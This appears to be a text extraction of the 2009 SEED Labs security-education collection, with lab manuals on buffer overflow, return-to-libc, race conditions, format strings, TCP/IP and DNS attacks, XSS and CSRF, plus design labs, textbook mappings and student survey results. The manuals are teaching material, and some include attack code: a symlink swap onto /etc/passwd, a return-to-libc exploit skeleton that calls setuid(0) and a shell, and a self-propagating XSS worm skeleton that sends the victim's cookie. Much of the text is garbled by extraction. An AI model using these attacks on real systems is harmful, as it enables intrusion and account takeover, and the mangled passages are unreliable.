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A collection of all 21 SEED Labs (October 2009)

1. SEED Document Types Labs Weeks System Network Prog SE Buffer overflow Vulnerability Lab 1 UG UG UG UG Return to libc Attack Lab 1 UG UG UG UG Race Condition Vulnerability Lab 1 UG UG UG Format String Vulnerability Lab 1 UG UG UG Vul amp Chroot Sandbox Vulnerability Lab 1 UG UG Attack TCP IP Attack Lab 2 UG UG UG Labs DNS Pharming Attack Lab 1 UG UG Cross Site Scripting XSS Attack Lab 1 UG UG UG Cross Site Request Forgery CSRF Attack Lab 1 UG UG UG SQL Injection Attack Lab 1 UG UG UG Set UID Program Vulnerability Lab 2 UG UG Pluggable Authentication Modules Lab 1 UG UG Exploration Linux Capability Lab 2 UG Labs SYN Cookie Lab 1 UG Web Access Control Lab 1 UG UG Set RandomUID Sandbox Lab 2 G G Minix Capability Lab 4 G G Design Minix Role Based Access Control Lab 5 G G Labs Encrypted File System Lab 5 G G IPSec Lab 5 G G Firewall Lab 2 G G Table 2 Course Based Classification of SEED Labs SE stands for Software Engineering Prog stands for Programming The meanings of UG and G are the same as those in Table 1 3 Mapping SEED Labs to Security Courses After studying a number of security courses taught at different universities and colleges we have identified several representative types of courses and made suggestions regarding what SEED labs are appropriate for these c
2. home smith bin bash etc shadow smith 1l Srdssdsdi x M4sdabPasdsdsdasdsdasdY 13450 0 99999 7 The third column in the file etc passwd denotes the UID of the user Because smith account is a regular user account its value 1000 is nothing special If we change this entry to 0 smith now becomes root 3 2 Creating symbolic links You can manually create symbolic links using 1n s You can also call C function symlink to create symbolic links in your program Since Linux does not allow one to create a link if the link already exists we need to delete the old link first The following C code snippet shows how to remove a link and then make tmp XYZ point to etc passwd 33 Laboratory for Computer Security Education 4 unlink tmp XYZ symlink etc passwd tmp XYZ 3 3 Improving success rate The most critical step i e pointing the link to our target file of a race condition attack must occur within the window between check and use namely between the access and the fopen calls in vulp c Since we cannot modify the vulnerable program the only thing that we can do is to run our attacking program in parallel with the target program hoping that the change of the link does occur within that critical window Unfortunately we cannot achieve the perfect timing Therefore the success of attack is probabilistic The probability of successful attack might be quite low if the window are small You need to thin
3. lt script gt var strSample Hello World var urlEncSample escape strScr_23 alert urlEncSample lt script gt 57 Laboratory for Computer Security Education 3 Under the URL encoding scheme the symbol is used to denote space In JavaScript programs is used for both arithmetic operations and string concatenation operations To avoid this ambiguity you may use the concat function for string concatenation and avoid using addition For the worm code in the exercise you don t have to use addition 4 Submission You need to submit a detailed lab report to describe what you have done and what you have observed Please provide details using LiveHTTPHeaders Wireshark and or screenshots You also need to provide explanation to the observations that are interesting or surprising References 1 AJAX for n00bs Available at the following URL n ttp www 2 AJAX POST n ttp www hunloc hunloc k com blogs AJAX_for_n00bs It Notes Available at the following URL k com blogs AJAX_POST It_Notes 3 Essential Javascript A Javascript Tutorial Available at the following URL n ttp www hunloc k com blogs Essential_Javascript_ A_Javascript_Tutorial 4 The Complete Javascript Strings Reference Available at the following URL n ttp www hunlock com blogs The Complete Javascript Strings Reference 58 Labor
4. The size of the queue has a system wide setting The application that uses this queue for example ftp can also specify its size In Linux we can check the system queue size setting using the following command sysctl q net ipv4 tcp_max_syn_backlog 65 Laboratory for Computer Security Education 4 We can use command netstat na to check the usage of the queue which is the number of half opened connection associated with a listening port The state for such connections is SYN RECV Due to the configuration of the victim the attacking result could be different 3 4 TCP RST Attacks on telnet Connections TCP RST Attack can terminate an established TCP connection between two victims For example if there is an established telnet connection TCP between two users A and B attackers can spoof a RST packet from A to B breaking this existing connection To succeed in this attack attackers need to correctly con struct the TCP RST packet In this task our goal is to launch an TCP RST attack to break an existing telnet connection between A and B To simply the lab we assume that the attackers and the victims are on the same LAN i e attackers can observe the TCP traffic between A and B 3 5 TCP RST Attacks on Video Streaming Applications Let us make the TCP RST attack more interesting by experimenting it on the applications that are widely used in nowadays We choose the video streaming application in this task For this task
5. export MYSHELL bin sh We will use the address of this variable as an argument to system call The location of this variable in the memory can be found out easily using the following program void main char shell getenv MYSHELL if shell printf Sx n unsigned int shell 22 Laboratory for Computer Security Education 7 If the address randomization is turned off you will find out that the same address is printed out However when you run the vulnerabile program retlib the address of the environment variable might not be exactly the same as the one that you get by running the above program such an address can even change when you change the name of your program the number of characters in the file name makes difference The good news is the address of the shell will be quite close to what you print out using the above program Therefore you might need to try a few times to succeed 3 3 Understand the Stack To know how to conduct the return to libc attack it is essential to understand how the stack works We use a small C program to understand the effects of a function invocation on the stack x foobar c include lt stdio h gt void foo int x printf Hello world d n x int main foo 1 return 0 We can use gcc S foobar c to compile this program to the assembly code The resulting file foobar s will look like the following 8 foo 9 pushl Sebp 10
6. 2 Restart Minix 3 The virtual device would be allocated a device number If dev c0d0 is your current disk then most likely dev c0d1 would be your new hard drive Hard drives have name of the form dev cXdXpXsX where d signifies the disk number and p signifies the partition number Assuming that you had just one hard disk earlier disk 0 your new hard disk number will be 1 hence the name dev c0d1 4 mkfs dev c0d1 Make a normal Minix file system on the new device A file system begins with a boot block whose size is fixed at 1024 bytes It contains an executable code to begin the process of loading the OS It is not used once the system has booted The super block follows the boot block and contains the information describing the layout of the file system The mk s command plugs information into this super block For example the block size to be used and the MAGIC number used to identify the file system Since Minix3 supports multiple file systems the MAGIC number is used to differentiate between different File systems You would need to modify the mkfs command if you are developing a new file system type 5 mkdir MFS Create a directory for mounting the new file system 6 mount dev c0dl MEFS Mount the file system onto the MF S directory The above com mand performs the following steps for a successful file system mount a Set the mounted on flag on the in memory copy of the inode of MFS This flag means that an
7. 3 1 Document object model DOM Web browsers expose the contents of the web page using the DOM API to JavaScript programs Figure 1 contains a web page that illustrates the use of DOM API HTML is a hierarchically structured document Internally the DOM object organizes the tags in the web page in the form of a tree The original structure of the web page in Figure 1 is show in the following Document lt html gt lt head gt lt body gt lt title gt lt script gt lt Script gt lt input gt There are two functions in the web page namely appendp and gethtmlchildren The appendp function adds a h1 heading and a paragraph element to the body of the web page using the DOM API The function gethtmlchildren displays all the tags that are children of the HTML tag 3 2 Cookies Cookies are placeholders for server provided data in the web browser typically used to track sessions Each cookie is a key value pair such as Color green and may have some optional attributes We will use the terms web sites and web applications interchangeably 141 Laboratory for Computer Security Education lt html gt lt head gt lt title gt Self modifying HTML lt title gt lt script gt function appendp var hl_node document createElement h1 hi_node innerHTML Self modifying HTML Document document childNodes 0 childNodes 1 appendChild hl_node var p_node doc
8. The worm built in the previous task only forges a message on behalf of the victims it does not propagate itself Therefore technically speaking it is not a worm To be able to propagate itself the forged message should also include a worm so whenever somebody clicks on the forged message a new forged message that carry the same worm will be created This way the worm can be propagated The more people click on the forged messages the faster the worm can propagate In this task you need to expand what you did in Task 5 and add a copy of the worm to the body of the forged message The following guidelines will help you with the task 1 The JavaScript program that posts the forged message is already part of the web page Therefore the worm code can use DOM APIs to retrieve a copy of itself from the web page An example of using DOM APIs is given below This code gets a copy of itself and display it in an alert window lt script id worm gt var strCode document getElementById worm alert strCode lt script gt 2 URL Encoding All messages transmitted using HTTP over the Internet use URL Encoding which converts all non ASCII characters such as space to special code under the URL encoding scheme In the worm code messages to be posted in the phpBB forum should be encoded using URL encoding The escape function can be used to URL encode a string An example of using the encode function is given below
9. c File descriptors before entering the t mp jail a super user or set root uid process has already opened a file etc shadow Can this process still be able to access this file after entering the jail d Comparing the chroot command and the chroot system call there are two ways to runa program in a jail One ways is to use the chroot command the other is to modify the program to call chroot system call directly What are the difference between this two methods Which one do you prefer Why 2 Understanding how chroot is implemented in Minix Read source code chroot c in src commands simple and stadir cin src fs Please explain how chroot achieves sandboxing In particular please explain how the Minix code prevents a program from using cd to get out the prison later we will show that this protection has a flaw but you need to understand how it works first The chroot mechanism works quite similiarly in Linux If you want to challenge yourself you can read the Linux source code 3 Abusing unconstrained chroot Assume that normal users can call chroot There are two ways to make this assumption true one way is to disable the security check in the source code of the chroot system call the other way is to change the permission of the command chroot toa set root uid program You need to implement one of these Now provided that normal users can build prisons using chroot please implement an attack to demonstrate how
10. mode_t d2_mode x file type protection etc x ul6_t d2_nlinks x how many links to this file HACK x uid_t d2_uid x user id of the file s owner x ul6_t d2_gid group number HACK off_t d2_size x current file size in bytes time_t d2_atime when was file data last accessed x time_t d2_mtime x when was file data last changed x time_t d2_ctime x when was inode data last changed zone_t d2_zone V2_NR_TZONES block nums for direct ind and dbl ind x d2_inode The last zone 1 e d2_zone V2_NR_TZONES 1 is unused it can be used for triple indirect zone which is needed only for very large files We can use this entry to store our extra information However this entry has only 32 bits To store information that is more than 32 bits we need to allocate another disk block to store that information and store the address of that block in this zone entry Please refer to the document 1 for instructions e Modifying i node Another approach is to modify the i node data structure and add a new entry to it This can be done by introducing a character array to store the information you want in the inode structure If you do this you are changing the file system type A number of issues need to be taken care of 1 You need to be sure that your inodes are still aligned to the disk blocks Namely the size of disk block 1024 bytes has to be a multiple of the size of inode the origi
11. secret 0 secret 1 return 0 28 Laboratory for Computer Security Education 3 Hints From the printout you will find out that secret 0 and secret 1 are located on the heap i e the actual secrets are stored on the heap We also know that the address of the first secret i e the value of the variable secret can be found on the stack because the variable secret is allocated on the stack In other words if you want to overwrite secret 0 its address is already on the stack your format string can take advantage of this information However although secret 1 is just right after secret 0 its address is not available on the stack This poses a major challenge for your format string exploit which needs to have the exact address right on the stack in order to read or write to that address 2 2 Task 2 Memory randomization If the first scanf statement scanf d int_input does not exist i e the program does not ask you to enter an integer the attack in Task 1 become more difficult for those operating systems that have implemented address randomization Pay attention to the address of secret 0 or secret 1 When you run the program once again will you get the same address Address randomization is introduced to make a number of attacks difficult such as buffer overflow for mat string etc To appreciate the idea of address randomization we will turn off the address randomization in this task and see
12. 3 3 Q7 The time I spent on the lab was worthwhile A Strongly disagree B Disagree C Neutral D Agree E Strongly agree 68 3 AN 6 9 A 32 8 Q4 Level of difficulty of this lab A Very easy B Somewhat easy C verage D Somewhat difficult E Very difficult 41 7 Wh Q9 The lab was a valuable part of this course A Strongly disagree B Disagree C Neutral D Agree E Strongly agree Q1 Level of familiarity with Unix ANo Experience B Know some commands C Application level development experience D Kernel level development experience E None 33 3 31 2 4 2 31 2 Q5 Level of interest in the lab Avery low B Low C Average D High E Very high 41 7 Da v 45 8 Q10 As a result of the lab I am more interested in computer security A Strongly disagree B Disagree C Neutral D Agree E Strongly agree 38 3 1 14 9 Survey Results Role Based Access Control RBAC Lab Q2 My preparation was sufficient A Strongly disagree B Disagree C Neutral D Agree E Strongly agree 715 7 DS 2 1 Ea 2 1 18 8 60 4 Q6 Approximate hours spent on this lab A 0 30 hours B 31 50 hours C 51 70 hours D 71 90 hours E gt 90 hours 18 8 A b d 47 9 Q11 Overall I have attained the learning objectives of the lab A Strongly disagree B Disagree C Neutral D Agree E Strongly agree 56 5 Q3 The lab instructions were clear A Strongly disagree B Disa
13. In the guideline we will describe how to set up your network environment to demonstrate your VPNs 4 SA and Key Management IPSec mandates support for both manual and automated SA and crypto graphic key management The IPSec protocols are largely independent of the associated SA management techniques although the techniques involved do affect some of the security services offered by the protocols The simplest form of management is manual management in which a person manually configures each system with keying material and security association management data relevant to secure communication with other systems Manual techniques are practical in small static environments but they do not scale well For example a company could create a Virtual Private Network VPN using IPSec in security gateways at several sites If the number of sites is small and since all the sites come under the purview of a single administrative domain this is likely to be a feasible context for manual management techniques Widespread deployment and use of IPSec requires an Internet standard scalable automated SA man agement protocol Such support is required to accommodate on demand creation of SAs e g for user and session oriented keying Note that the notion of rekeying an SA actually implies creation of a new SA with a new SPI a process that generally implies use of an automated SA key management protocol The default automated key management protocol
14. In the principle based strategy we categorize our labs based on the principles of computer security in the course based strategy we categorize our labs based on some specific courses We have also mapped our labs to the chapters of several popular textbooks that are widely used by computer security instructors This mapping will help instructors decide what labs they can use if they are using a specific textbook 2 Mapping SEED Labs to Security Principles Regardless of how instructors teach computer security and in what contexts e g networking operating system etc they teach computer security one thing is for sure they should cover the principles of computer security In civil engineering when building bridges there are well established principles that need to be followed Security engineering is no difference in order to build a software system that is intended to be secure we also need to follow principles Regardless of how computer security is taught the fundamental principles that most instructors cover are quite the same even though the principles might be covered in different contexts The definition of security principles is interpreted differently by different people some interprets it as software engineering principles such as principle of least privileges some interprets it as access control authentication etc To avoid confusion we use the following definition A computer security principle is an accepted or
15. Step 1 Install DNS server On192 168 0 10 We install the BIND 9 DNS server using the following command sudo apt get install bind9 BIND9 Server is already installed in our pre built virtual machine Step 2 Create named conf options The DNS server needs to read etc bind named conf configuration file to start and this file will load another configuration file et c bind named conf options Add the following content to the file options dump file var cache bind dump db It should be noted that the file var cache bind dump db is used to dump DNS server s cache Step 3 Create zone Assume we own a domain example com which means that we are respon sible for providing definitive answer regarding example com Thus we need to create zone in the DNS server by adding the following contents to etc bind named conf It should be noted that the example com domain name is reserved for use in documentation and is not owned by anybody so it is safe to use it zone example com type master file var cache bind example com db zone 0 168 192 in addr arpa type master file var cache bind 192 168 0 Note that we use 192 168 0 x as an example If you use different IP addresses you need to change etc bind named conf and the DNS lookup files stated below accordingly Step 4 Setup zone files In var cache bind directory compose the following example com db zone file Note that the configuration
16. The setuid 0 system call can help you achieve that Therefore you need to first invoke setuid 0 and then invoke system bin sh all of these have to be done using the return to libc mechanism The incomplete exploit code is given in the following exploit_2 c include lt stdlib h gt include lt stdio h gt include lt string h gt int main int argc char xargv char buf 40 FILE xbadfile badfile fopen badfile w x You need to decide the addresses and the values for W X Y Z x You need to decide the addresses and the values for W X Y Z The order of the following hree statements does not imply the order of W X Y Z long amp buf W some address system long x amp buf X some address address of bin sh x long amp buf Y some address setuid x long amp buf Z 0 parameter for setuid fwrite buf sizeof buf 1 badfile fclose badfile 2 5 Task 3 Address Randomization and Stack Smash Protection Now we turn on the Ubuntu s address randomization and Stack Smash Protection We run the same attack developed in Task 1 Can you get a shell If not what is the problem How does the address random ization and stack smash protection make your attacks difficult You should describe your observation and explanation in your lab report You can use the following instructions to turn on the address ra
17. by himself herself or by a TA it is suggested the following be covered in the lab session We assume that the instructor has already covered the concepts of the attacks in the lecture so we do not include them in the lab session e The use of virtual machine software e The use of Wireshark Netwag and Net wox tools e Using the Net wox command line tool to create arbitrary TCP UDP IP packets etc 3 Lab Tasks In this lab students need to conduct attacks on the TCP IP protocols They can use the Netwox tools and or other tools in the attacks All the attacks are performed on Linux operating systems However instructors can require students to also conduct the same attacks on other operating systems and compare the observations To simplify the guess of TCP sequence numbers and source port numbers we assume that attacks are on the same physical network as the victims Therefore you can use sniffers to get those information The following is the list of attacks that need to be implemented 64 Laboratory for Computer Security Education 3 3 1 ARP cache poisoning In ARP cache poisoning attack attackers use spoofed ARP message in LAN to associate MAC address and IP address in a malicious way Attackers can launch a DoS attack against a victim by associating a nonexistent MAC address to the IP address of the victim s default gateway or sniffer the victim s IP traffic in a switch gateway by poisoning both victim and gate
18. port you should draw a diagram to depict the relationship between your capability checking module and the ACL checking module 91 Laboratory for Computer Security Education 4 e Compatibility issue Keep in mind that there will be processes especially those created during the bootup that are not capability enabled The addition of capability mechanism will cause them not to work properly because they do not carry any capability at all You need to find a solution to make your capability system compatible with those processes 3 4 Helpful Documents We have linked several helpful documents to the lab web page Make sure you read them because they can save you a tremendous amount of time These documents cover the following topics 1 how to add new system calls 2 how are system calls invoked 3 process tables in the file system process and the memory management process Very Important Please remember to backup a valid boot image before you make modifications you might crash your systems quite often 4 Submission and Demonstration You should submit a detailed lab report to describe your design and implementation You should also de scribe how you test the functionalities and security of your system You also need to demonstrate your system to us Please sign up a demonstration time slot with the TA Please take the following into consider ation when you prepare for demonstraiton e The total time of the demo will be 15 min
19. previous frame pointer The current stack is depicted in Figure 1 e e Line 17 ret This instruction simply pops the return address out of the stack and then jump to the return address The current stack is depicted in Figure 1 f e Line 32 addl 4 esp Further resotre the stack by releasing more memories allocated for foo As you can clearly see that the stack is now in exactly the same state as it was before entering the function foo i e before line 28 References 1 cOntext Bypassing non executable stack during exploitation using _ return to libc http www infosecwriters com text_resources pdf return to libc pdf 2 Phrack by Nergal Advanced return to libc exploit s Phrack 49 Volume Oxb Issue 0x3a Available at http www phrack org archives 58 p58 0x04 25 26 Laboratory for Computer Security Education 1 Format String Vulnerability Lab Copyright 2006 2009 Wenliang Du Syracuse University The development of this document is funded by the National Science Foundation s Course Curriculum and Laboratory Improvement CCLI program under Award No 0618680 and 0231122 Permission is granted to copy distribute and or modify this document under the terms of the GNU Free Documentation License Version 1 2 or any later version published by the Free Software Foundation A copy of the license can be found at http www gnu org licenses fdl html 1 Lab Overview The learning objective of this lab i
20. s process table is called mproc and its definition is given in usr src servers pm mproc h The process structure defined in mproc h contains an array mp_seg which has three entries for text data and stack segment respectively Each entry in turn has another three entries storing the virtual address the physical address and the length of the segment Minix3 programs can be compiled to use either the combined I and D space Instruction and Data space where the system views the data segment and the text segment as one BIG segment or separate I and D space Combined I and D spaces are necessary for certain tasks like bootstrapping or cases in which a program needs to modify its own code By default all the programs are compiled to have Separate I and D spaces Figure 1 shows a process in memory OS independent When a program is compiled to have a common I and D space the text segment is always empty and the data segment contains both the text and the data This is a security vulnerability The system no longer differentiates between the two segments so the an attacker can load a corrupt assembly on the data segment and make the system execute it which thinks that its a text code The memory layout for a combined I and D space takes the following form Virtual Physical Length Stack 0x8 0xd0 0x2 Data 0 Oxc8 Ox7 Text 0 Oxc8 0 The program when compiled to have separate I and D space have non zero text and data segments T
21. 26 23 29 3 Return to libc Lab 20 26 23 29 3 Format String Lab 20 26 23 29 3 Vul amp Race Condition Lab 20 26 23 29 3 Attack Chroot Sandbox Lab 20 26 23 29 3 Labs TCP IP Attack Lab 20 23 26 23 26 29 3 DNS Pharming Attack Lab 20 23 26 23 26 29 3 Cross Site Scripting Attack Lab 20 23 26 23 26 29 3 Cross Site Request Forgery Attack Lab 20 23 26 23 26 29 3 SQL Injection Attack Lab 20 23 26 23 26 29 3 6 Set UID Program Vulnerability Lab 14 15 4 Pluggable Authentication Modules Lab 11 12 4 5 9 10 Exploration Linux Capability Exploration Lab 12 14 17 13 15 19 4 Labs SYN Cookie Lab 23 26 DENI 5 Web Access Control Lab 4 14 4 15 4 7 Address Randomization Lab 24 26 27 29 4 5 Set RandomUID Sandbox Lab 19 6 22 7 Minix Capability Lab 12 14 17 13 15 19 4 Design Minix Role Based Access Control Lab 12 14 17 13 15 19 4 Labs Encrypted File System Lab 8 10 17 9 11 13 19 2 4 2 5 IP Sec Lab 8 10 17 23 9 11 19 26 2 7 2 5 17 Firewall Lab 17 23 19 26 7 4 23 Table 3 Textbook Mappings The numbers in the table are chapter numbers 3 Programming focused Courses The goal of this type of course is to teach students the secure pro gramming principles when implementing a software system Most instructors will cover a variety of software vulnerabilities in the course 4 Software Engineering focused Courses This type of course focus on the software engin
22. 2846 Capability 2155 Set UID 2025 Format String i 1845 Race Condition Return to libc 1452 Firewall i 1395 Attacks XSS i Attacks DNS M 1221 SYN Cookies 1175 Memory Randomization Chroot EE 900 Set RandomUID la 810 Crypto E leh RBAC Capability E 717 RBAC Linux Encrypted File System eoa 540 Pluggable Authentication Module H 450 Attacks SOL Injection aap Attacks CSRF 232 Role Based Access Control RBAC Q 90 155 SEED Document g T 6007 ZT T 738002 ZT y4uo 4223 Buung sqeq qJIS 1 J04 speojumog Jo sequiny 732002 8 156 157 SEED Document 1 About the Attached DVD The attached DVD contains the following contents most of the contents are already included in this book they can also be downloaded from our project web page http www cis syr edu wedu seed e Our Pre built Ubuntu 9 VM image All the Linux based labs can be conducted in this pre built operating system All the needed tools and software are already installed in this VM image To run this VM image users need to use VMware Workstation 6 5 and above e The user manual of the Ubuntu VM image the manual is also included in this book Readers can find the account password information configuration software information etc from the user manual e An electronic copy of this book Note All the contents in this DVD can be copied and further distributed 158
23. 3 1 Initialization When a user logs into a system a new session will be initialized There are two important questions that you need to think about regarding this initialization 1 where does this session get the initial roles and 2 which program assigns these roles to this session You might want to take a look at Login c under the usr src commands simp1 e directory 3 2 Capability Role in Process or Session You need to consider the following issues related to processes e Since capabilities are the one used by the system for access control the OS needs to know what capabilities a process has How do we let OS know the capabilities Should each process carry just roles or both roles and capabilities or just capabilities You need to justify your design decisions in your report e Where do you store roles capabilities They can be stored in kernel space e g capability list in user space e g cryptographic token or in both spaces like the implementation of file descriptor where the actual capabilities are stored in the kernel and the indices to the capabilities are copied to the user space Which design do you use You should justify your decisions in your lab reports 85 Laboratory for Computer Security Education 6 You need to study the process related data structures They are defined in three places file sys tem usr src servers fs process management usr src servers pm and kernel usr src kernel How
24. Attacker Hijack the TCP session and send data Z to server on behalf of client Figure 2 TCP Session Hijacking Investigation The level of difficulty in TCP attacks depends on a number of factors Please investigate the following and write down your discoveries and observations in your lab reports e Study the pattern of the Initial Sequence Numbers ISN and answer whether the patterns are pre e Study the TCP window size and describe your observations dictable e Study the pattern of the source port numbers and answer whether the patterns are predictable 3 9 Note It should be noted that because some vulnerabilities have already been fixed in Linux some of the above attacks will fail in Linux but they might still be successful against other operating systems 4 Lab Report You should submit a lab report The report should cover the following sections e Design The design of your attacks including the attacking strategies the packets that you use in your attacks the tools that you used etc 67 Laboratory for Computer Security Education 6 e Observation Is your attack successful How do you know whether it has succeeded or not What do you expect to see What have you observed Is the observation a surprise to you e Explanation Some of the attacks might fail If so you need to find out what makes them fail You can find the explanations from your own experiments preferred or from the Internet If
25. Cache Poisoning The above attack targets the user s machine In order to achieve long lasting effect every time the user s machine sends out a DNS query for www example com the attacker s machine must send out a spoofed DNS response This might not be so efficient there is a much better way to conduct attacks by targeting the DNS server instead of the user s machine When a DNS server Z receives a query if the host name is not within the Z s domain it will ask other DNS servers to get the host name resolved Note that in our lab setup the domain of our DNS server is example com therefore for the DNS queries of other domains e g www google com the DNS server Z will ask other DNS servers However before Z asks other DNS servers it first looks for the answer from its own cache if the answer is there the DNS server Z will simply reply with the information from its cache If the answer is not in the cache the DNS server will try to get the answer from other DNS servers When Z gets the answer it will store the answer in the cache so next time there is no need to ask other DNS servers Therefore if attackers can spoof the response from other DNS servers Z will keep the spoofed response in its cache for certain period of time Next time when a user s machine wants to resolve the same host name Z will use the spoofed response in the cache to reply This way attackers only need to spoof once and the impact will last unti
26. Documentation License Version 1 2 or any later version published by the Free Software Foundation A copy of the license can be found at http www gnu org licenses fdl html 1 Overview In a traditional file system files are usually stored on disks unencrypted When the disks are stolen by someone contents of those files can be easily recovered by the malicious people To protect files even when the disks are stolen we can use encryption tools to encrypt files For example we can use pgp command to encrypt files However this is quite inconvenient users need to decrypt a file before editing the file and then remember to encrypt it afterward It will be better if encryption and decryption can be transparent to users Encrypted File System EFS is developed for such a purpose and it has been implemented in a number of operating systems such as Solaris Windows NT and Linux 2 Lab Task In an EFS files on disks are all encrypted nobody can decrypt the files without knowing the required secret Therefore even if a EFS disk is stolen its files are kept confidential 2 1 Transparency The most important feature of EFS is transparency Namely when legitimate users use the files in EFS the users do not need to conduct encryption decryption explicitly encryption decryption is conducted automat ically by the file system This distinguishes EFS from normal file encryption programs More importantly EFS should also be tran
27. HTTP POST request back to the phpBB server To learn how to use XMLHttpRequest you can study these cited documents 1 2 If you are not familiar with JavaScript programming we suggest that you read 3 to learn some basic JavaScript functions You will have to use some of these functions You may also need to debug your JavaScript code Firebug is a Firefox extension that helps you debug JavaScript code It can point you to the precise places that contain errors FireBug can be downloaded from https addons mozilla org en US firefox addon 1843 It is already installed in our pre built Ubuntu VM image Code Skeleton We provide a skeleton of the JavaScript code that you need to write You need to fill in all the necessary details When you include the final JavaScript code in the message posted to the phpBB message board you need to remove all the comments extra space and new line characters lt script gt var Ajax null Construct the header information for the Http request Ajax new XMLHttpRequest Ajax open POST http www xsslabphpbb com posting php true Ajax setRequestHeader Host www xsslabphpbb com Ajax setRequestHeader Keep Alive 300 Ajax setRequestHeader Connection keep alive Ajax setRequestHeader Cookie document cookie Ajax setRequestHeader Content Type application x www form urlencoded Construct the content
28. Laboratory for Computer Security Education 7 2 7 Task 4 Stack Guard So far we disabled the Stack Guard protection mechanism in GCC when compiling the programs In this task you may consider repeating task 1 in the presence of Stack Guard To do that you should compile the program without the fno stack protector option For this task you will recompile the vulnerable program stack c to use GCC s Stack Guard execute task 1 again and report your observations You may report any error messages you observe In the GCC 4 3 3 and newer versions Stack Guard is enabled by default Therefore you have to disable Stack Guard using the switch mentioned before In earlier versions it was disabled by default If you use a older GCC version you may not have to disable Stack Guard 3 Guidelines We can load the shellcode into badfile but it will not be executed because our instruction pointer will not be pointing to it One thing we can do is to change the return address to point to the shellcode But we have two problems 1 we do not know where the return address is stored and 2 we do not know where the shellcode is stored To answer these questions we need to understand the stack layout the execution enters a function The following figure gives an example void func char str High Address char buffer 12 int variable_a strcpy buffer str str a pointer to a string oO Re
29. Net wox also comes with a sniffer Wireshark is a much better sniffer Wireshark is already installed in our pre built virtual machine 3 Lab Tasks Pharming Attacks The main objective of Pharming attacks on a user is to redirect the user to another machine B when the user tries to get to machine A using A s host name For example when the user tries to access the online banking such as www chase com if the adversaries can redirect the user to a malicious web site that looks very much like the main web site of www chase com the user might be fooled and give away password of his her online banking account When users type in www chase com the user s machine will issue a DNS query to find out the IP address of this web site Attackers goal is to fool the user s machine with a faked DNS reply which resolves www chase com to the malicious IP address There are several ways to achieve such an attack In the rest of the lab description we will use www example comas the web site that the user wants to access instead of using the real web site name www chase com the example com domain name is reserved for use in documentation and is not owned by anybody 3 1 Attackers have already compromised the victim s machine Modifying HOSTS file The host name and IP address pairs in the HOSTS file etc hosts are used for local lookup they take the preference over remote DNS lookups For example if there is a following entry in the HOSTS
30. OS will take time to re lable the file system for the SELinux context during the boot time 3 Lab Tasks In a capability system when a program is executed its corresponding process is initialized with a list of capabilities tokens When the process tries to access an object the operating system check the process capabilities and decides whether to grant the access or not 3 1 Task 1 Experiencing Capabilities In operating systems there are many privileged operations that can only be conducted by privileged users Examples of privilegd operations include configuring network interface card backing up all the user files shutting down the computers etc Without capabilities these operations can only be carried out by supe rusers who often have many more privileges than what are needed for the intended tasks Therefore letting superusers to conduct these privileged operations is a violation of the Least Privilege Principle Privileged operations are very necessary in operating systems All Set UID programs invole privi leged operations that cannot be performed by normal users To allow normal users to run these programs Set UID programs turn normal users into powerful users e g root temporarily even though that the involved privileged operations do not need all the power This is dangerous if the program is compromised adversaries might get the root privilege Capabilities divide the powerful root privilege into
31. Regardless of what approach you take authentication must be kept at minimum no user is going to like your EFS if you ask users to authenticate themselves too frequently You have to balance the security and usability of your system Another authentication issue is where and how to store the authentication information d Miscellaneous issues There are a number of other issues that you need to consider in your design e File sharing Does your implementation support group concept in Unix Namely if a file is accessible by a group can group member still be able to access the file in EFS e Key update If keys need to be updated how can your system support this functionality Although you do not need to implement this functionality in this lab you need to discuss in your report how your system can be extended to support this functionality 2 3 Encryption Algorithm We assume that AES algorithm a 128 bit block cipher is used for encryption and decryption AES s key size can be 128 bits 192 bits or 256 bits and you can choose one to support in your EFS implementa tion The code given in aes c is for encrypting decrypting one block i e 128 bits so if you need to encrypt decrypt data that are more than one block you need to use a specific AES mode such as ECB Electronic Code Book CBC Cipher Block Chaining etc You can decide which mode to use but you need to justify your design decision in your report Since AES is a 128 bit b
32. SEED project in 2002 SEED stands for SEcurity EDucation Its mission is to develop a suite of well designed instructional laboratories that can be effectively used by instructors in their computer security courses to enhance students learning At the time of writing we have developed over 20 SEED labs which cover a wide spectrum of computer security concepts principles and practices The SEED project was intititally funded by the NSF CCLI program as a Phase I project in 2003 and was then funded by the same program as a Phase II project in 2007 The project was also partitially funded by the Syracuse University s Vision Fund in 2003 The SEED labs were initially used in the three security courses Introduction to Computer Security Computer Security and Internet Security at both graduate and ungraduate levels in the Department of Electrical Engneering and Computer Science at Syracuse University Over the years a number of other universities have also adopted some of the SEED labs 2 Our Commitments to Help You Adopt SEED Labs After 8 years experimenting with the SEED labs we have not only matured the design of these labs we have also matured the process of helping others instructors and students use these SEED labs We hope more and more instructors and students can benefit from the SEED project We have committed to help those who would like to or are planning to adopt our labs in their classes To fulfill our commitment we plan to
33. Starting the Apache Server The apache web server is also included in the pre built Ubuntu image However the web server is not started by default You have to first start the web server using one of the following two commands sudo apache2ctl start or sudo service apache2 start The phpBB Web Application The phpBB web application is already set up in the pre built Ubuntu VM image We have also created several user accounts in the phpBB server The password information can be obtained from the posts on the front page You can access the phpBB server for this lab using the following URLs the apache server needs to be started first URL Description Directory http www csrflabattacker com Attacker web site var www CSRF Attacker http www csrflabphpbb com Vulnerable phpBB var www CSREF CSRFLabPhpbb http www originalphpbb com Original phpBB var www OriginalPhpbb 45 Laboratory for Computer Security Education 2 Configuring DNS These URLs are only accessible from inside of the virtual machine because we have modified the etc hosts file to map the domain names of these URLs to the virtual machine s local IP address 127 0 0 1 Basically we added the following three entries to the etc hosts file T2410 4 0 1 www csrflabattacker com L257 205 Ore ck www csrflabphpbb com L277 3 05 0 1 www originalphpbb com If your web server and b
34. The following commands may help in checking the status of SYN flooding attacks netstat ant This may behave differently on vmware in showing the open connections dmesg 2 2 Task 2 Exploring the SYN Cookies Implementation The main goal of this task is to come up with an effective SYN cookies design The challenge is design a way for the server to generate its ISN such that SYN flooding attacks will not work 1 Consider to have a SYN cookie generation equation as follows cookie hash saddr daddr sport dport sseq where saddr Source IP Address daddr Destination IP Address sport Source Port dport Destination Port sseq Source Sequence Number The cookie generated would be the new ISN This would satisfy the SYN cookie requirements of generating a unique ISN for a unique combination of above parameters Moreover it is possible to recalculate the cookie once an ACK is received back and hence regard it as authenticate SYN Can you discover if this method introduces any new problems to the system 124 Laboratory for Computer Security Education 3 2 Consider a different SynCookie generation equation as follows cookie hash saddr daddr sport dport random seq where random a random number generated at the boot time Can you discover if the above equation may introduce any new problems to the system Consider one more equation of SynCookie generation cookie hash saddr daddr s
